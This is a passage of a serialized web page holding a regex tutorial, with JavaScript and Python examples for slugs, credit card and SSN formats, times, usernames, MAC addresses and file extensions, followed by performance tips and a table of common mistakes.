3'",[1560,267069,468],{"class":1570},[1560,267071,97000],{"class":1566},[1560,267073,267074],{"class":1570},"(numRegex));\n",[1560,267076,267077],{"class":1562,"line":343},[1560,267078,267079],{"class":1649},"\u002F\u002F ['29.99', '3']\n",[135,267081,267083],{"className":8259,"code":267082,"language":8261,"meta":141,"style":141},"import re\ntext = \"Price: $29.99, Qty: 3\"\nprint(re.findall(r'\\d+(?:\\.\\d+)?', text))\n# ['29.99', '3']\n",[143,267084,267085,267089,267094,267099],{"__ignoreMap":141},[1560,267086,267087],{"class":1562,"line":1563},[1560,267088,116044],{},[1560,267090,267091],{"class":1562,"line":337},[1560,267092,267093],{},"text = \"Price: $29.99, Qty: 3\"\n",[1560,267095,267096],{"class":1562,"line":343},[1560,267097,267098],{},"print(re.findall(r'\\d+(?:\\.\\d+)?', text))\n",[1560,267100,267101],{"class":1562,"line":365},[1560,267102,267103],{},"# ['29.99', '3']\n",[11,267105,267107],{"id":267106},"_11-slug-generation-url-safe-strings","11. Slug Generation (URL-Safe Strings)",[16,267109,267110],{},"Convert any text to a URL-friendly slug.",[135,267112,267114],{"className":1607,"code":267113,"language":1609,"meta":141,"style":141},"function slugify(text) {\n  return text\n    .toLowerCase()\n    .replace(\u002F[^\\w\\s-]\u002Fg, '')   \u002F\u002F remove special chars\n    .replace(\u002F[\\s_]+\u002Fg, '-')     \u002F\u002F spaces\u002Funderscores to hyphens\n    .replace(\u002F^-+|-+$\u002Fg, '');    \u002F\u002F trim hyphens\n}\nconsole.log(slugify('Hello World! How Are You?'));\n\u002F\u002F 'hello-world-how-are-you'\n",[143,267115,267116,267129,267135,267143,267173,267201,267234,267238,267255],{"__ignoreMap":141},[1560,267117,267118,267120,267123,267125,267127],{"class":1562,"line":1563},[1560,267119,8648],{"class":1669},[1560,267121,267122],{"class":1566}," slugify",[1560,267124,1688],{"class":1570},[1560,267126,140],{"class":2219},[1560,267128,9345],{"class":1570},[1560,267130,267131,267133],{"class":1562,"line":337},[1560,267132,9350],{"class":1669},[1560,267134,120831],{"class":1570},[1560,267136,267137,267139,267141],{"class":1562,"line":343},[1560,267138,37982],{"class":1570},[1560,267140,38784],{"class":1566},[1560,267142,27830],{"class":1570},[1560,267144,267145,267147,267149,267151,267153,267155,267157,267160,267162,267164,267166,267168,267170],{"class":1562,"line":365},[1560,267146,37982],{"class":1570},[1560,267148,22721],{"class":1566},[1560,267150,1688],{"class":1570},[1560,267152,9423],{"class":5634},[1560,267154,24385],{"class":1576},[1560,267156,38799],{"class":1669},[1560,267158,267159],{"class":1576},"\\w\\s-]",[1560,267161,9423],{"class":5634},[1560,267163,22733],{"class":1669},[1560,267165,1459],{"class":1570},[1560,267167,5635],{"class":5634},[1560,267169,10081],{"class":1570},[1560,267171,267172],{"class":1649},"\u002F\u002F remove special chars\n",[1560,267174,267175,267177,267179,267181,267183,267186,267188,267190,267192,267194,267196,267198],{"class":1562,"line":889},[1560,267176,37982],{"class":1570},[1560,267178,22721],{"class":1566},[1560,267180,1688],{"class":1570},[1560,267182,9423],{"class":5634},[1560,267184,267185],{"class":1576},"[\\s_]",[1560,267187,9448],{"class":1669},[1560,267189,9423],{"class":5634},[1560,267191,22733],{"class":1669},[1560,267193,1459],{"class":1570},[1560,267195,43115],{"class":5634},[1560,267197,101751],{"class":1570},[1560,267199,267200],{"class":1649},"\u002F\u002F spaces\u002Funderscores to hyphens\n",[1560,267202,267203,267205,267207,267209,267211,267213,267215,267217,267219,267221,267223,267225,267227,267229,267231],{"class":1562,"line":1710},[1560,267204,37982],{"class":1570},[1560,267206,22721],{"class":1566},[1560,267208,1688],{"class":1570},[1560,267210,9423],{"class":5634},[1560,267212,38799],{"class":1669},[1560,267214,9412],{"class":11919},[1560,267216,266835],{"class":1669},[1560,267218,9412],{"class":11919},[1560,267220,43156],{"class":1669},[1560,267222,9423],{"class":5634},[1560,267224,22733],{"class":1669},[1560,267226,1459],{"class":1570},[1560,267228,5635],{"class":5634},[1560,267230,50825],{"class":1570},[1560,267232,267233],{"class":1649},"\u002F\u002F trim hyphens\n",[1560,267235,267236],{"class":1562,"line":1717},[1560,267237,1585],{"class":1570},[1560,267239,267240,267242,267244,267246,267248,267250,267253],{"class":1562,"line":1747},[1560,267241,8211],{"class":1570},[1560,267243,8214],{"class":1566},[1560,267245,1688],{"class":1570},[1560,267247,186176],{"class":1566},[1560,267249,1688],{"class":1570},[1560,267251,267252],{"class":5634},"'Hello World! How Are You?'",[1560,267254,41941],{"class":1570},[1560,267256,267257],{"class":1562,"line":2507},[1560,267258,267259],{"class":1649},"\u002F\u002F 'hello-world-how-are-you'\n",[11,267261,267263],{"id":267262},"_12-credit-card-number-validation","12. Credit Card Number Validation",[16,267265,267266],{},"Detect common credit card number formats, with optional spaces or hyphens.",[16,267268,267269,1663,267271],{},[47,267270,18376],{},[143,267272,267273],{},"\u002F^\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}$\u002F",[135,267275,267277],{"className":1607,"code":267276,"language":1609,"meta":141,"style":141},"const ccRegex = \u002F^\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}$\u002F;\nconsole.log(ccRegex.test('4111-1111-1111-1111'));  \u002F\u002F true\nconsole.log(ccRegex.test('4111111111111111'));      \u002F\u002F true\n",[143,267278,267279,267325,267345],{"__ignoreMap":141},[1560,267280,267281,267283,267286,267288,267290,267292,267294,267296,267299,267301,267303,267305,267307,267309,267311,267313,267315,267317,267319,267321,267323],{"class":1562,"line":1563},[1560,267282,8180],{"class":1669},[1560,267284,267285],{"class":1576}," ccRegex",[1560,267287,8186],{"class":1669},[1560,267289,11912],{"class":5634},[1560,267291,38799],{"class":1669},[1560,267293,157302],{"class":1576},[1560,267295,266214],{"class":1669},[1560,267297,267298],{"class":1576},"[\\s-]",[1560,267300,33994],{"class":1669},[1560,267302,157302],{"class":1576},[1560,267304,266214],{"class":1669},[1560,267306,267298],{"class":1576},[1560,267308,33994],{"class":1669},[1560,267310,157302],{"class":1576},[1560,267312,266214],{"class":1669},[1560,267314,267298],{"class":1576},[1560,267316,33994],{"class":1669},[1560,267318,157302],{"class":1576},[1560,267320,266372],{"class":1669},[1560,267322,9423],{"class":5634},[1560,267324,2228],{"class":1570},[1560,267326,267327,267329,267331,267334,267336,267338,267341,267343],{"class":1562,"line":337},[1560,267328,8211],{"class":1570},[1560,267330,8214],{"class":1566},[1560,267332,267333],{"class":1570},"(ccRegex.",[1560,267335,98998],{"class":1566},[1560,267337,1688],{"class":1570},[1560,267339,267340],{"class":5634},"'4111-1111-1111-1111'",[1560,267342,51290],{"class":1570},[1560,267344,101150],{"class":1649},[1560,267346,267347,267349,267351,267353,267355,267357,267360,267362],{"class":1562,"line":343},[1560,267348,8211],{"class":1570},[1560,267350,8214],{"class":1566},[1560,267352,267333],{"class":1570},[1560,267354,98998],{"class":1566},[1560,267356,1688],{"class":1570},[1560,267358,267359],{"class":5634},"'4111111111111111'",[1560,267361,266983],{"class":1570},[1560,267363,101150],{"class":1649},[16,267365,267366,267369],{},[47,267367,267368],{},"Security note",": Never trust client-side validation alone for payment processing.",[11,267371,267373],{"id":267372},"_13-time-format-hhmm-ampm","13. Time Format (HH:MM AM\u002FPM)",[16,267375,267376],{},"Match 12-hour time format with optional leading zero.",[16,267378,267379,1663,267381],{},[47,267380,18376],{},[143,267382,267383],{},"\u002F^(0?[1-9]|1[0-2]):[0-5]\\d\\s?(AM|PM)$\u002Fi",[135,267385,267387],{"className":1607,"code":267386,"language":1609,"meta":141,"style":141},"const timeRegex = \u002F^(0?[1-9]|1[0-2]):[0-5]\\d\\s?(AM|PM)$\u002Fi;\nconsole.log(timeRegex.test('2:30 PM'));   \u002F\u002F true\nconsole.log(timeRegex.test('13:00 AM'));  \u002F\u002F false\n",[143,267388,267389,267439,267459],{"__ignoreMap":141},[1560,267390,267391,267393,267396,267398,267400,267402,267405,267407,267409,267411,267413,267415,267418,267421,267423,267426,267428,267431,267433,267435,267437],{"class":1562,"line":1563},[1560,267392,8180],{"class":1669},[1560,267394,267395],{"class":1576}," timeRegex",[1560,267397,8186],{"class":1669},[1560,267399,11912],{"class":5634},[1560,267401,38799],{"class":1669},[1560,267403,267404],{"class":11919},"(0",[1560,267406,33994],{"class":1669},[1560,267408,266220],{"class":1576},[1560,267410,7334],{"class":1669},[1560,267412,3585],{"class":11919},[1560,267414,266227],{"class":1576},[1560,267416,267417],{"class":11919},"):",[1560,267419,267420],{"class":1576},"[0-5]\\d\\s",[1560,267422,33994],{"class":1669},[1560,267424,267425],{"class":11919},"(AM",[1560,267427,7334],{"class":1669},[1560,267429,267430],{"class":11919},"PM)",[1560,267432,11938],{"class":1669},[1560,267434,9423],{"class":5634},[1560,267436,7975],{"class":1669},[1560,267438,2228],{"class":1570},[1560,267440,267441,267443,267445,267448,267450,267452,267455,267457],{"class":1562,"line":337},[1560,267442,8211],{"class":1570},[1560,267444,8214],{"class":1566},[1560,267446,267447],{"class":1570},"(timeRegex.",[1560,267449,98998],{"class":1566},[1560,267451,1688],{"class":1570},[1560,267453,267454],{"class":5634},"'2:30 PM'",[1560,267456,266766],{"class":1570},[1560,267458,101150],{"class":1649},[1560,267460,267461,267463,267465,267467,267469,267471,267474,267476],{"class":1562,"line":343},[1560,267462,8211],{"class":1570},[1560,267464,8214],{"class":1566},[1560,267466,267447],{"class":1570},[1560,267468,98998],{"class":1566},[1560,267470,1688],{"class":1570},[1560,267472,267473],{"class":5634},"'13:00 AM'",[1560,267475,51290],{"class":1570},[1560,267477,238147],{"class":1649},[11,267479,267481],{"id":267480},"_14-username-validation","14. Username Validation",[16,267483,267484],{},"Validate usernames: 3–16 characters, alphanumeric with underscores and hyphens.",[16,267486,267487,1663,267489],{},[47,267488,18376],{},[143,267490,267491],{},"\u002F^[a-zA-Z0-9_-]{3,16}$\u002F",[135,267493,267495],{"className":1607,"code":267494,"language":1609,"meta":141,"style":141},"const userRegex = \u002F^[a-zA-Z0-9_-]{3,16}$\u002F;\nconsole.log(userRegex.test('john_doe'));     \u002F\u002F true\nconsole.log(userRegex.test('ab'));           \u002F\u002F false (too short)\nconsole.log(userRegex.test('user@name'));    \u002F\u002F false\n",[143,267496,267497,267520,267540,267560],{"__ignoreMap":141},[1560,267498,267499,267501,267504,267506,267508,267510,267513,267516,267518],{"class":1562,"line":1563},[1560,267500,8180],{"class":1669},[1560,267502,267503],{"class":1576}," userRegex",[1560,267505,8186],{"class":1669},[1560,267507,11912],{"class":5634},[1560,267509,38799],{"class":1669},[1560,267511,267512],{"class":1576},"[a-zA-Z0-9_-]",[1560,267514,267515],{"class":1669},"{3,16}$",[1560,267517,9423],{"class":5634},[1560,267519,2228],{"class":1570},[1560,267521,267522,267524,267526,267529,267531,267533,267536,267538],{"class":1562,"line":337},[1560,267523,8211],{"class":1570},[1560,267525,8214],{"class":1566},[1560,267527,267528],{"class":1570},"(userRegex.",[1560,267530,98998],{"class":1566},[1560,267532,1688],{"class":1570},[1560,267534,267535],{"class":5634},"'john_doe'",[1560,267537,266018],{"class":1570},[1560,267539,101150],{"class":1649},[1560,267541,267542,267544,267546,267548,267550,267552,267555,267557],{"class":1562,"line":343},[1560,267543,8211],{"class":1570},[1560,267545,8214],{"class":1566},[1560,267547,267528],{"class":1570},[1560,267549,98998],{"class":1566},[1560,267551,1688],{"class":1570},[1560,267553,267554],{"class":5634},"'ab'",[1560,267556,266434],{"class":1570},[1560,267558,267559],{"class":1649},"\u002F\u002F false (too short)\n",[1560,267561,267562,267564,267566,267568,267570,267572,267575,267577],{"class":1562,"line":365},[1560,267563,8211],{"class":1570},[1560,267565,8214],{"class":1566},[1560,267567,267528],{"class":1570},[1560,267569,98998],{"class":1566},[1560,267571,1688],{"class":1570},[1560,267573,267574],{"class":5634},"'user@name'",[1560,267576,266414],{"class":1570},[1560,267578,238147],{"class":1649},[11,267580,267582],{"id":267581},"_15-whitespace-trimming","15. Whitespace Trimming",[16,267584,267585],{},"Remove leading and trailing whitespace from a string.",[16,267587,267588,1663,267590],{},[47,267589,18376],{},[143,267591,267592],{},"\u002F^\\s+|\\s+$\u002Fg",[135,267594,267596],{"className":1607,"code":267595,"language":1609,"meta":141,"style":141},"const text = '  hello world  ';\nconsole.log(text.replace(\u002F^\\s+|\\s+$\u002Fg, ''));\n\u002F\u002F 'hello world'\n",[143,267597,267598,267611,267645],{"__ignoreMap":141},[1560,267599,267600,267602,267604,267606,267609],{"class":1562,"line":1563},[1560,267601,8180],{"class":1669},[1560,267603,87414],{"class":1576},[1560,267605,8186],{"class":1669},[1560,267607,267608],{"class":5634}," '  hello world  '",[1560,267610,2228],{"class":1570},[1560,267612,267613,267615,267617,267619,267621,267623,267625,267627,267629,267631,267633,267635,267637,267639,267641,267643],{"class":1562,"line":337},[1560,267614,8211],{"class":1570},[1560,267616,8214],{"class":1566},[1560,267618,189382],{"class":1570},[1560,267620,22721],{"class":1566},[1560,267622,1688],{"class":1570},[1560,267624,9423],{"class":5634},[1560,267626,38799],{"class":1669},[1560,267628,185714],{"class":1576},[1560,267630,266835],{"class":1669},[1560,267632,185714],{"class":1576},[1560,267634,43156],{"class":1669},[1560,267636,9423],{"class":5634},[1560,267638,22733],{"class":1669},[1560,267640,1459],{"class":1570},[1560,267642,5635],{"class":5634},[1560,267644,41941],{"class":1570},[1560,267646,267647],{"class":1562,"line":343},[1560,267648,101778],{"class":1649},[11,267650,267652],{"id":267651},"_16-mac-address-validation","16. MAC Address Validation",[16,267654,267655],{},"Validate MAC addresses in common formats (AA:BB:CC:DD:EE:FF or AA-BB-CC-DD-EE-FF).",[16,267657,267658,1663,267660],{},[47,267659,18376],{},[143,267661,267662],{},"\u002F^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$\u002F",[135,267664,267666],{"className":1607,"code":267665,"language":1609,"meta":141,"style":141},"const macRegex = \u002F^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$\u002F;\nconsole.log(macRegex.test('00:1A:2B:3C:4D:5E'));  \u002F\u002F true\nconsole.log(macRegex.test('00:1A:2B:3C:4D'));     \u002F\u002F false\n",[143,267667,267668,267710,267730],{"__ignoreMap":141},[1560,267669,267670,267672,267675,267677,267679,267681,267683,267686,267688,267691,267693,267696,267698,267700,267702,267704,267706,267708],{"class":1562,"line":1563},[1560,267671,8180],{"class":1669},[1560,267673,267674],{"class":1576}," macRegex",[1560,267676,8186],{"class":1669},[1560,267678,11912],{"class":5634},[1560,267680,38799],{"class":1669},[1560,267682,1688],{"class":11919},[1560,267684,267685],{"class":1576},"[0-9A-Fa-f]",[1560,267687,98989],{"class":1669},[1560,267689,267690],{"class":1576},"[:-]",[1560,267692,1525],{"class":11919},[1560,267694,267695],{"class":1669},"{5}",[1560,267697,1688],{"class":11919},[1560,267699,267685],{"class":1576},[1560,267701,98989],{"class":1669},[1560,267703,1525],{"class":11919},[1560,267705,11938],{"class":1669},[1560,267707,9423],{"class":5634},[1560,267709,2228],{"class":1570},[1560,267711,267712,267714,267716,267719,267721,267723,267726,267728],{"class":1562,"line":337},[1560,267713,8211],{"class":1570},[1560,267715,8214],{"class":1566},[1560,267717,267718],{"class":1570},"(macRegex.",[1560,267720,98998],{"class":1566},[1560,267722,1688],{"class":1570},[1560,267724,267725],{"class":5634},"'00:1A:2B:3C:4D:5E'",[1560,267727,51290],{"class":1570},[1560,267729,101150],{"class":1649},[1560,267731,267732,267734,267736,267738,267740,267742,267745,267747],{"class":1562,"line":343},[1560,267733,8211],{"class":1570},[1560,267735,8214],{"class":1566},[1560,267737,267718],{"class":1570},[1560,267739,98998],{"class":1566},[1560,267741,1688],{"class":1570},[1560,267743,267744],{"class":5634},"'00:1A:2B:3C:4D'",[1560,267746,266018],{"class":1570},[1560,267748,238147],{"class":1649},[11,267750,267752],{"id":267751},"_17-matching-repeated-words","17. Matching Repeated Words",[16,267754,267755],{},"Find duplicate consecutive words (common typo in text).",[16,267757,267758,1663,267760],{},[47,267759,18376],{},[143,267761,267762],{},"\u002F\\b(\\w+)\\s+\\1\\b\u002Fgi",[135,267764,267766],{"className":1607,"code":267765,"language":1609,"meta":141,"style":141},"const dupRegex = \u002F\\b(\\w+)\\s+\\1\\b\u002Fgi;\nconsole.log('This this is a test test.'.match(dupRegex));\n\u002F\u002F ['This this', 'test test']\n",[143,267767,267768,267802,267820],{"__ignoreMap":141},[1560,267769,267770,267772,267775,267777,267779,267782,267784,267787,267789,267791,267793,267796,267798,267800],{"class":1562,"line":1563},[1560,267771,8180],{"class":1669},[1560,267773,267774],{"class":1576}," dupRegex",[1560,267776,8186],{"class":1669},[1560,267778,11912],{"class":5634},[1560,267780,267781],{"class":1669},"\\b",[1560,267783,1688],{"class":11919},[1560,267785,267786],{"class":1576},"\\w",[1560,267788,9448],{"class":1669},[1560,267790,1525],{"class":11919},[1560,267792,185714],{"class":1576},[1560,267794,267795],{"class":1669},"+\\1\\b",[1560,267797,9423],{"class":5634},[1560,267799,114093],{"class":1669},[1560,267801,2228],{"class":1570},[1560,267803,267804,267806,267808,267810,267813,267815,267817],{"class":1562,"line":337},[1560,267805,8211],{"class":1570},[1560,267807,8214],{"class":1566},[1560,267809,1688],{"class":1570},[1560,267811,267812],{"class":5634},"'This this is a test test.'",[1560,267814,468],{"class":1570},[1560,267816,97000],{"class":1566},[1560,267818,267819],{"class":1570},"(dupRegex));\n",[1560,267821,267822],{"class":1562,"line":343},[1560,267823,267824],{"class":1649},"\u002F\u002F ['This this', 'test test']\n",[11,267826,267828],{"id":267827},"_18-json-string-extraction","18. JSON String Extraction",[16,267830,267831],{},"Extract a JSON object from a larger text body.",[16,267833,267834,1663,267836],{},[47,267835,18376],{},[143,267837,267838],{},"\u002F\\{[\\s\\S]*\\}\u002F",[135,267840,267842],{"className":1607,"code":267841,"language":1609,"meta":141,"style":141},"const jsonRegex = \u002F\\{[\\s\\S]*\\}\u002F;\nconst text = 'Response: {\"name\": \"John\", \"age\": 30}';\nconst match = text.match(jsonRegex);\nconsole.log(match ? JSON.parse(match[0]) : null);\n\u002F\u002F { name: 'John', age: 30 }\n",[143,267843,267844,267870,267883,267898,267927],{"__ignoreMap":141},[1560,267845,267846,267848,267851,267853,267855,267858,267861,267863,267866,267868],{"class":1562,"line":1563},[1560,267847,8180],{"class":1669},[1560,267849,267850],{"class":1576}," jsonRegex",[1560,267852,8186],{"class":1669},[1560,267854,11912],{"class":5634},[1560,267856,267857],{"class":11915},"\\{",[1560,267859,267860],{"class":1576},"[\\s\\S]",[1560,267862,8069],{"class":1669},[1560,267864,267865],{"class":11915},"\\}",[1560,267867,9423],{"class":5634},[1560,267869,2228],{"class":1570},[1560,267871,267872,267874,267876,267878,267881],{"class":1562,"line":337},[1560,267873,8180],{"class":1669},[1560,267875,87414],{"class":1576},[1560,267877,8186],{"class":1669},[1560,267879,267880],{"class":5634}," 'Response: {\"name\": \"John\", \"age\": 30}'",[1560,267882,2228],{"class":1570},[1560,267884,267885,267887,267889,267891,267893,267895],{"class":1562,"line":343},[1560,267886,8180],{"class":1669},[1560,267888,96992],{"class":1576},[1560,267890,8186],{"class":1669},[1560,267892,22718],{"class":1570},[1560,267894,97000],{"class":1566},[1560,267896,267897],{"class":1570},"(jsonRegex);\n",[1560,267899,267900,267902,267904,267907,267909,267911,267913,267915,267917,267919,267921,267923,267925],{"class":1562,"line":365},[1560,267901,8211],{"class":1570},[1560,267903,8214],{"class":1566},[1560,267905,267906],{"class":1570},"(match ",[1560,267908,33994],{"class":1669},[1560,267910,89946],{"class":1576},[1560,267912,468],{"class":1570},[1560,267914,80838],{"class":1566},[1560,267916,97040],{"class":1570},[1560,267918,5285],{"class":1576},[1560,267920,39106],{"class":1570},[1560,267922,8037],{"class":1669},[1560,267924,39053],{"class":1576},[1560,267926,1744],{"class":1570},[1560,267928,267929],{"class":1562,"line":889},[1560,267930,267931],{"class":1649},"\u002F\u002F { name: 'John', age: 30 }\n",[11,267933,267935],{"id":267934},"_19-file-extension-extraction","19. File Extension Extraction",[16,267937,267938],{},"Get the file extension from a filename or path.",[16,267940,267941,1663,267943],{},[47,267942,18376],{},[143,267944,267945],{},"\u002F\\.([\\w]+)$\u002F",[135,267947,267949],{"className":1607,"code":267948,"language":1609,"meta":141,"style":141},"const extRegex = \u002F\\.([\\w]+)$\u002F;\nconsole.log('document.pdf'.match(extRegex)?.[1]);   \u002F\u002F 'pdf'\nconsole.log('archive.tar.gz'.match(extRegex)?.[1]); \u002F\u002F 'gz'\n",[143,267950,267951,267979,268005],{"__ignoreMap":141},[1560,267952,267953,267955,267958,267960,267962,267964,267966,267969,267971,267973,267975,267977],{"class":1562,"line":1563},[1560,267954,8180],{"class":1669},[1560,267956,267957],{"class":1576}," extRegex",[1560,267959,8186],{"class":1669},[1560,267961,11912],{"class":5634},[1560,267963,11916],{"class":11915},[1560,267965,1688],{"class":11919},[1560,267967,267968],{"class":1576},"[\\w]",[1560,267970,9448],{"class":1669},[1560,267972,1525],{"class":11919},[1560,267974,11938],{"class":1669},[1560,267976,9423],{"class":5634},[1560,267978,2228],{"class":1570},[1560,267980,267981,267983,267985,267987,267990,267992,267994,267997,267999,268002],{"class":1562,"line":337},[1560,267982,8211],{"class":1570},[1560,267984,8214],{"class":1566},[1560,267986,1688],{"class":1570},[1560,267988,267989],{"class":5634},"'document.pdf'",[1560,267991,468],{"class":1570},[1560,267993,97000],{"class":1566},[1560,267995,267996],{"class":1570},"(extRegex)?.[",[1560,267998,3585],{"class":1576},[1560,268000,268001],{"class":1570},"]);   ",[1560,268003,268004],{"class":1649},"\u002F\u002F 'pdf'\n",[1560,268006,268007,268009,268011,268013,268016,268018,268020,268022,268024,268026],{"class":1562,"line":343},[1560,268008,8211],{"class":1570},[1560,268010,8214],{"class":1566},[1560,268012,1688],{"class":1570},[1560,268014,268015],{"class":5634},"'archive.tar.gz'",[1560,268017,468],{"class":1570},[1560,268019,97000],{"class":1566},[1560,268021,267996],{"class":1570},[1560,268023,3585],{"class":1576},[1560,268025,41863],{"class":1570},[1560,268027,268028],{"class":1649},"\u002F\u002F 'gz'\n",[11,268030,268032],{"id":268031},"_20-social-security-number-ssn-validation","20. Social Security Number (SSN) Validation",[16,268034,268035],{},"Match the US SSN format (XXX-XX-XXXX) with valid range constraints.",[16,268037,268038,1663,268040],{},[47,268039,18376],{},[143,268041,268042],{},"\u002F^(?!000|666|9\\d{2})\\d{3}-(?!00)\\d{2}-(?!0000)\\d{4}$\u002F",[135,268044,268046],{"className":1607,"code":268045,"language":1609,"meta":141,"style":141},"const ssnRegex = \u002F^(?!000|666|9\\d{2})\\d{3}-(?!00)\\d{2}-(?!0000)\\d{4}$\u002F;\nconsole.log(ssnRegex.test('123-45-6789'));  \u002F\u002F true\nconsole.log(ssnRegex.test('000-45-6789'));  \u002F\u002F false (area 000 invalid)\n",[143,268047,268048,268101,268121],{"__ignoreMap":141},[1560,268049,268050,268052,268055,268057,268059,268061,268064,268066,268069,268071,268073,268075,268077,268079,268081,268083,268086,268088,268090,268093,268095,268097,268099],{"class":1562,"line":1563},[1560,268051,8180],{"class":1669},[1560,268053,268054],{"class":1576}," ssnRegex",[1560,268056,8186],{"class":1669},[1560,268058,11912],{"class":5634},[1560,268060,38799],{"class":1669},[1560,268062,268063],{"class":11919},"(?!000",[1560,268065,7334],{"class":1669},[1560,268067,268068],{"class":11919},"666",[1560,268070,7334],{"class":1669},[1560,268072,114357],{"class":11919},[1560,268074,157302],{"class":1576},[1560,268076,98989],{"class":1669},[1560,268078,1525],{"class":11919},[1560,268080,157302],{"class":1576},[1560,268082,266350],{"class":1669},[1560,268084,268085],{"class":11919},"-(?!00)",[1560,268087,157302],{"class":1576},[1560,268089,98989],{"class":1669},[1560,268091,268092],{"class":11919},"-(?!0000)",[1560,268094,157302],{"class":1576},[1560,268096,266372],{"class":1669},[1560,268098,9423],{"class":5634},[1560,268100,2228],{"class":1570},[1560,268102,268103,268105,268107,268110,268112,268114,268117,268119],{"class":1562,"line":337},[1560,268104,8211],{"class":1570},[1560,268106,8214],{"class":1566},[1560,268108,268109],{"class":1570},"(ssnRegex.",[1560,268111,98998],{"class":1566},[1560,268113,1688],{"class":1570},[1560,268115,268116],{"class":5634},"'123-45-6789'",[1560,268118,51290],{"class":1570},[1560,268120,101150],{"class":1649},[1560,268122,268123,268125,268127,268129,268131,268133,268136,268138],{"class":1562,"line":343},[1560,268124,8211],{"class":1570},[1560,268126,8214],{"class":1566},[1560,268128,268109],{"class":1570},[1560,268130,98998],{"class":1566},[1560,268132,1688],{"class":1570},[1560,268134,268135],{"class":5634},"'000-45-6789'",[1560,268137,51290],{"class":1570},[1560,268139,268140],{"class":1649},"\u002F\u002F false (area 000 invalid)\n",[11,268142,45268],{"id":45267},[77,268144,268145,268157,268167,268173],{},[44,268146,268147,55616,268153,268156],{},[47,268148,1388,268149,268152],{},[143,268150,268151],{},"RegExp.prototype.test()"," for boolean checks",[143,268154,268155],{},"String.prototype.match()"," — it is faster because it stops at the first match.",[44,268158,268159,268162,268163,268166],{},[47,268160,268161],{},"Avoid catastrophic backtracking"," by replacing nested quantifiers like ",[143,268164,268165],{},"([^,]+,)+"," with atomic groups or possessive quantifiers where supported.",[44,268168,268169,268172],{},[47,268170,268171],{},"Compile regex once and reuse"," — do not create the same regex inside a loop.",[44,268174,268175,215542,268178,268180],{},[47,268176,268177],{},"Use raw strings in Python",[143,268179,23114],{}," prefix) to avoid escaping backslashes.",[11,268182,10393],{"id":10392},[193,268184,268185,268196],{},[196,268186,268187],{},[199,268188,268189,268191,268193],{},[202,268190,3684],{},[202,268192,265822],{},[202,268194,268195],{},"Correct",[211,268197,268198,268213,268228,268243],{},[199,268199,268200,268203,268208],{},[216,268201,268202],{},"Unescaped dot",[216,268204,268205],{},[143,268206,268207],{},".*\\.com",[216,268209,268210],{},[143,268211,268212],{},".*\\\\.com",[199,268214,268215,268218,268223],{},[216,268216,268217],{},"Greedy matching",[216,268219,268220],{},[143,268221,268222],{},"\".*\"",[216,268224,268225],{},[143,268226,268227],{},"\".*?\"",[199,268229,268230,268233,268238],{},[216,268231,268232],{},"Missing anchors",[216,268234,268235],{},[143,268236,268237],{},"\u002F[a-z]+\u002F",[216,268239,268240],{},[143,268241,268242],{},"\u002F^[a-z]+$\u002F",[199,268244,268245,268248,268253],{},[216,268246,268247],{},"Not escaping in string",[216,268249,268250],{},[143,268251,268252],{},"new RegExp('\\d')",[216,268254,268255],{},[143,268256,268257],{},"new RegExp('\\\\d')",[11,268259,268261],{"id":268260},"test-your-patterns","Test Your Patterns",[16,268263,29979,268264,268266],{},[98,268265,86882],{"href":87094}," to experiment with these patterns interactively.",[2043,268268,268269],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":268271},[268272,268273,268274,268275,268276,268277,268278,268279,268280,268281,268282,268283,268284,268285,268286,268287,268288,268289,268290,268291,268292,268293,268294,268295],{"id":256641,"depth":337,"text":2776},{"id":265928,"depth":337,"text":265929},{"id":266058,"depth":337,"text":266059},{"id":266180,"depth":337,"text":266181},{"id":266300,"depth":337,"text":266301},{"id":266439,"depth":337,"text":266440},{"id":266586,"depth":337,"text":266587},{"id":266671,"depth":337,"text":266672},{"id":266797,"depth":337,"text":266798},{"id":266888,"depth":337,"text":266889},{"id":267007,"depth":337,"text":267008},{"id":267106,"depth":337,"text":267107},{"id":267262,"depth":337,"text":267263},{"id":267372,"depth":337,"text":267373},{"id":267480,"depth":337,"text":267481},{"id":267581,"depth":337,"text":267582},{"id":267651,"depth":337,"text":267652},{"id":267751,"depth":337,"text":267752},{"id":267827,"depth":337,"text":267828},{"id":267934,"depth":337,"text":267935},{"id":268031,"depth":337,"text":268032},{"id":45267,"depth":337,"text":45268},{"id":10392,"depth":337,"text":10393},{"id":268260,"depth":337,"text":268261},"20 essential regex patterns for email, URL, date, and password validation with JavaScript and Python 